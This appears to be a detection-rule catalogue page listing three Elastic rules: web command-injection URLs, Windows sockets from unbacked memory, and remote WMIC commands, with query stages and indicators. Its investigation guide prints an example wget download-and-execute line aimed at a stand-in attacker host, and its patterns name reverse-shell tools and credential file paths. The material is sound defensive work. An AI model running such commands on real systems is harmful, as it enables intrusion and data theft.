This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.

### Possible investigation steps

- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.

### False positive analysis

- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.

### Response and remediation

- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
"""
risk_score = 21
rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
severity = "low"
tags = [
    "Domain: Web",
    "Use Case: Threat Detection",
    "Tactic: Reconnaissance",
    "Tactic: Persistence",
    "Tactic: Execution",
    "Tactic: Credential Access",
    "Tactic: Command and Control",
    "Data Source: Nginx",
    "Data Source: Apache",
    "Data Source: Apache Tomcat",
    "Data Source: IIS",
    "Data Source: Traefik",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
| where
    // Limit to 200 response code to reduce noise
    http.response.status_code == 200

| eval Esql.url_original_to_lower = to_lower(url.original)

| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)

| eval Esql.any_payload_keyword = case(
    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)

| keep
    @timestamp,
    Esql.url_original_to_lower,
    Esql.any_payload_keyword,
    Esql.contains_interpreter,
    Esql.contains_shell,
    Esql.contains_nc,
    Esql.contains_devtcp,
    Esql.contains_helpers,
    Esql.contains_sus_cli,
    Esql.contains_privileges,
    Esql.contains_downloader,
    Esql.contains_file_read_keywords,
    Esql.contains_base64_cmd,
    Esql.contains_suspicious_path,
    source.ip,
    destination.ip,
    agent.id,
    http.request.method,
    http.response.status_code,
    user_agent.original,
    agent.name,
    data_stream.dataset,
    data_stream.namespace

| stats
    Esql.event_count = count(),
    Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),

    // General fields

    Esql.agent_name_values = values(agent.name),
    Esql.agent_id_values = values(agent.id),
    Esql.url_path_values = values(Esql.url_original_to_lower),
    Esql.http.response.status_code_values = values(http.response.status_code),
    Esql.user_agent_original_values = values(user_agent.original),
    Esql.data_stream_dataset_values = values(data_stream.dataset),
    Esql.data_stream_namespace_values = values(data_stream.namespace),

    // Rule Specific fields
    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
    Esql.contains_shell_values = values(Esql.contains_shell),
    Esql.contains_nc_values = values(Esql.contains_nc),
    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
    Esql.contains_helpers_values = values(Esql.contains_helpers),
    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
    Esql.contains_privileges_values = values(Esql.contains_privileges),
    Esql.contains_downloader_values = values(Esql.contains_downloader),
    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)

    by source.ip, agent.id

| where
    // Filter for potential command injection attempts with low event counts to reduce false positives
    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1505"
name = "Server Software Component"
reference = "https://attack.mitre.org/techniques/T1505/"

[[rule.threat.technique.subtechnique]]
id = "T1505.003"
name = "Web Shell"
reference = "https://attack.mitre.org/techniques/T1505/003/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"

[[rule.threat.technique.subtechnique]]
id = "T1059.006"
name = "Python"
reference = "https://attack.mitre.org/techniques/T1059/006/"

[[rule.threat.technique.subtechnique]]
id = "T1059.011"
name = "Lua"
reference = "https://attack.mitre.org/techniques/T1059/011/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"

[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"

[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1595"
name = "Active Scanning"
reference = "https://attack.mitre.org/techniques/T1595/"

[[rule.threat.technique.subtechnique]]
id = "T1595.002"
name = "Vulnerability Scanning"
reference = "https://attack.mitre.org/techniques/T1595/002/"

[[rule.threat.technique.subtechnique]]
id = "T1595.003"
name = "Wordlist Scanning"
reference = "https://attack.mitre.org/techniques/T1595/003/"

[rule.threat.tactic]
id = "TA0043"
name = "Reconnaissance"
reference = "https://attack.mitre.org/tactics/TA0043/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"

[[rule.threat.technique.subtechnique]]
id = "T1003.008"
name = "/etc/passwd and /etc/shadow"
reference = "https://attack.mitre.org/techniques/T1003/008/"

[[rule.threat.technique]]
id = "T1552"
name = "Unsecured Credentials"
reference = "https://attack.mitre.org/techniques/T1552/"

[[rule.threat.technique.subtechnique]]
id = "T1552.001"
name = "Credentials In Files"
reference = "https://attack.mitre.org/techniques/T1552/001/"

[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1190"
name = "Exploit Public-Facing Application"
reference = "https://attack.mitre.org/techniques/T1190/"

[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

Stages and Predicates

Stage 1: from

from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*

Stage 2: where

| where
    http.response.status_code == 200

Stage 3: eval

| eval Esql.url_original_to_lower = to_lower(url.original)

Stage 4: eval

| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
Esql.contains_interpreter =
ifEsql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*"1
else0

Stage 5: eval

| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
Esql.contains_shell =
ifEsql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*"1
else0

Stage 6: eval

| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
Esql.contains_nc =
ifEsql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*"1
else0

Stage 7: eval

| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
Esql.contains_devtcp =
ifEsql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*"1
else0

Stage 8: eval

| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
Esql.contains_helpers =
if(Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*")1
else0

Stage 9: eval

| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
Esql.contains_sus_cli =
ifEsql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*"1
else0

Stage 10: eval

| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
Esql.contains_privileges =
ifEsql.url_original_to_lower like "*chmod*+x"1
else0

Stage 11: eval

| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
Esql.contains_downloader =
ifEsql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *"1
else0

Stage 12: eval

| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
Esql.contains_file_read_keywords =
ifEsql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*"1
else0

Stage 13: eval

| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
Esql.contains_base64_cmd =
ifEsql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*"1
else0

Stage 14: eval

| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
Esql.contains_suspicious_path =
ifEsql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*"1
else0

Stage 15: eval

| eval Esql.any_payload_keyword = case(
    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
Esql.any_payload_keyword =
ifEsql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 11
else0

Stage 16: keep

| keep
    @timestamp,
    Esql.url_original_to_lower,
    Esql.any_payload_keyword,
    Esql.contains_interpreter,
    Esql.contains_shell,
    Esql.contains_nc,
    Esql.contains_devtcp,
    Esql.contains_helpers,
    Esql.contains_sus_cli,
    Esql.contains_privileges,
    Esql.contains_downloader,
    Esql.contains_file_read_keywords,
    Esql.contains_base64_cmd,
    Esql.contains_suspicious_path,
    source.ip,
    destination.ip,
    agent.id,
    http.request.method,
    http.response.status_code,
    user_agent.original,
    agent.name,
    data_stream.dataset,
    data_stream.namespace

Stage 17: stats

| stats
    Esql.event_count = count(),
    Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
    Esql.agent_name_values = values(agent.name),
    Esql.agent_id_values = values(agent.id),
    Esql.url_path_values = values(Esql.url_original_to_lower),
    Esql.http.response.status_code_values = values(http.response.status_code),
    Esql.user_agent_original_values = values(user_agent.original),
    Esql.data_stream_dataset_values = values(data_stream.dataset),
    Esql.data_stream_namespace_values = values(data_stream.namespace),
    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
    Esql.contains_shell_values = values(Esql.contains_shell),
    Esql.contains_nc_values = values(Esql.contains_nc),
    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
    Esql.contains_helpers_values = values(Esql.contains_helpers),
    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
    Esql.contains_privileges_values = values(Esql.contains_privileges),
    Esql.contains_downloader_values = values(Esql.contains_downloader),
    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
    by source.ip, agent.id

Stage 18: where

| where
    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5

Indicators

These rows show field, operator, and value matches.

Output Fields

These fields are emitted when the rule matches.

FieldSource
Esql.event_countSTATS Esql.event_count = count()
Esql.url_path_count_distinctSTATS Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower)
Esql.agent_name_valuesSTATS Esql.agent_name_values = values(agent.name)
Esql.agent_id_valuesSTATS Esql.agent_id_values = values(agent.id)
Esql.url_path_valuesSTATS Esql.url_path_values = values(Esql.url_original_to_lower)
Esql.http.response.status_code_valuesSTATS Esql.http.response.status_code_values = values(http.response.status_code)
Esql.user_agent_original_valuesSTATS Esql.user_agent_original_values = values(user_agent.original)
Esql.data_stream_dataset_valuesSTATS Esql.data_stream_dataset_values = values(data_stream.dataset)
Esql.data_stream_namespace_valuesSTATS Esql.data_stream_namespace_values = values(data_stream.namespace)
Esql.any_payload_keyword_maxSTATS Esql.any_payload_keyword_max = max(Esql.any_payload_keyword)
Esql.contains_interpreter_valuesSTATS Esql.contains_interpreter_values = values(Esql.contains_interpreter)
Esql.contains_shell_valuesSTATS Esql.contains_shell_values = values(Esql.contains_shell)
Esql.contains_nc_valuesSTATS Esql.contains_nc_values = values(Esql.contains_nc)
Esql.contains_devtcp_valuesSTATS Esql.contains_devtcp_values = values(Esql.contains_devtcp)
Esql.contains_helpers_valuesSTATS Esql.contains_helpers_values = values(Esql.contains_helpers)
Esql.contains_sus_cli_valuesSTATS Esql.contains_sus_cli_values = values(Esql.contains_sus_cli)
Esql.contains_privileges_valuesSTATS Esql.contains_privileges_values = values(Esql.contains_privileges)
Esql.contains_downloader_valuesSTATS Esql.contains_downloader_values = values(Esql.contains_downloader)
Esql.contains_file_read_keywords_valuesSTATS Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords)
Esql.contains_base64_cmd_valuesSTATS Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd)
Esql.contains_suspicious_path_valuesSTATS Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
source.ipSTATS BY
agent.idSTATS BY

Windows Socket Creation from Unbacked Memory

#
Source
github.com/elastic/protections-artifacts

Identifies the creation of a Windows network socket from unbacked memory, this may indicate process code injection.

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Rule Body

[rule]
description = "Identifies the creation of a Windows network socket from unbacked memory, this may indicate process code injection."
id = "59a55372-5b1a-4a72-bd6e-9a55cf9298b4"
license = "Elastic License v2"
name = "Windows Socket Creation from Unbacked Memory"
os_list = ["windows"]
version = "1.0.3"

query = '''
api where process.Ext.api.name == "VirtualProtect" and
 process.Ext.api.metadata.target_address_name == "mswsock.dll" and
 process.thread.Ext.call_stack_summary in ("ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked",
                                           "ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked") and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info : "c:\\windows\\sys?????\\ws2_32.dll!WSASocket*") and
 not process.thread.Ext.call_stack_final_user_module.protection_provenance_path like ("c:\\windows\\microsoft.net\\framework64\\v*\\clr.dll", "c:\\program files\\dotnet\\shared\\microsoft.netcore.app\\*\\coreclr.dll")
'''

min_endpoint_version = "8.14.2"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "8.14.2"

Stages and Predicates

Stage 1: api

api where process.Ext.api.name == "VirtualProtect" and
 process.Ext.api.metadata.target_address_name == "mswsock.dll" and
 process.thread.Ext.call_stack_summary in ("ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked",
                                           "ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked") and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info : "c:\\windows\\sys?????\\ws2_32.dll!WSASocket*") and
 not process.thread.Ext.call_stack_final_user_module.protection_provenance_path like ("c:\\windows\\microsoft.net\\framework64\\v*\\clr.dll", "c:\\program files\\dotnet\\shared\\microsoft.netcore.app\\*\\coreclr.dll")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
process.Ext.api.metadata.target_address_nameeq
  • mswsock.dll corpus 2 (elastic 2)
field:"process.Ext.api.metadata.target_address_name" kind:eq value:"mswsock.dll"
process.Ext.api.nameeq
  • VirtualProtect corpus 19 (elastic 19)
field:"process.Ext.api.name" kind:eq value:"VirtualProtect"
process.thread.Ext.call_stack_summaryin
  • ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked
  • ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked
field:"process.thread.Ext.call_stack_summary" kind:in

Exclusions

The rule actively suppresses these predicates.

WMIC Remote Command

#
Status
production
Kind
building block (feeds higher-level correlation rules; not a standalone alert)
Severity
low
Time window
119m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies the use of wmic.exe to run commands on remote hosts. While this can be used by administrators legitimately, attackers can abuse this built-in utility to achieve lateral movement.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

[metadata]
creation_date = "2023/08/24"
integration = ["endpoint", "windows", "system"]
maturity = "production"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies the use of wmic.exe to run commands on remote hosts. While this can be used by administrators legitimately,
attackers can abuse this built-in utility to achieve lateral movement.
"""
from = "now-119m"
index = [
    "endgame-*",
    "logs-endpoint.events.process-*",
    "logs-system.security*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "WMIC Remote Command"
risk_score = 21
rule_id = "f59668de-caa0-4b84-94c1-3a1549e1e798"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Lateral Movement",
    "Data Source: Elastic Defend",
    "Rule Type: BBR",
    "Data Source: Sysmon",
    "Data Source: Elastic Endgame",
    "Data Source: Windows Security Event Logs",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
  process.name : "WMIC.exe" and
  process.args : "*node:*" and
  process.args : ("call", "set", "get") and
  not process.args : ("*/node:localhost*", "*/node:\"127.0.0.1\"*", "/node:127.0.0.1")
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"

[[rule.threat.technique.subtechnique]]
id = "T1021.003"
name = "Distributed Component Object Model"
reference = "https://attack.mitre.org/techniques/T1021/003/"

[[rule.threat.technique.subtechnique]]
id = "T1021.006"
name = "Windows Remote Management"
reference = "https://attack.mitre.org/techniques/T1021/006/"

[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1047"
name = "Windows Management Instrumentation"
reference = "https://attack.mitre.org/techniques/T1047/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

Stages and Predicates

Stage 1: process

process where host.os.type == "windows" and event.type == "start" and
  process.name : "WMIC.exe" and
  process.args : "*node:*" and
  process.args : ("call", "set", "get") and
  not process.args : ("*/node:localhost*", "*/node:\"127.0.0.1\"*", "/node:127.0.0.1")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
process.argswildcard
  • *node:*
  • call
  • get corpus 3 (elastic 3)
  • set corpus 5 (elastic 5)
field:"process.args" kind:wildcard
process.namewildcard
  • WMIC.exe corpus 66 (elastic 39, splunk 27)
field:"process_basename" kind:wildcard value:"WMIC.exe"

Exclusions

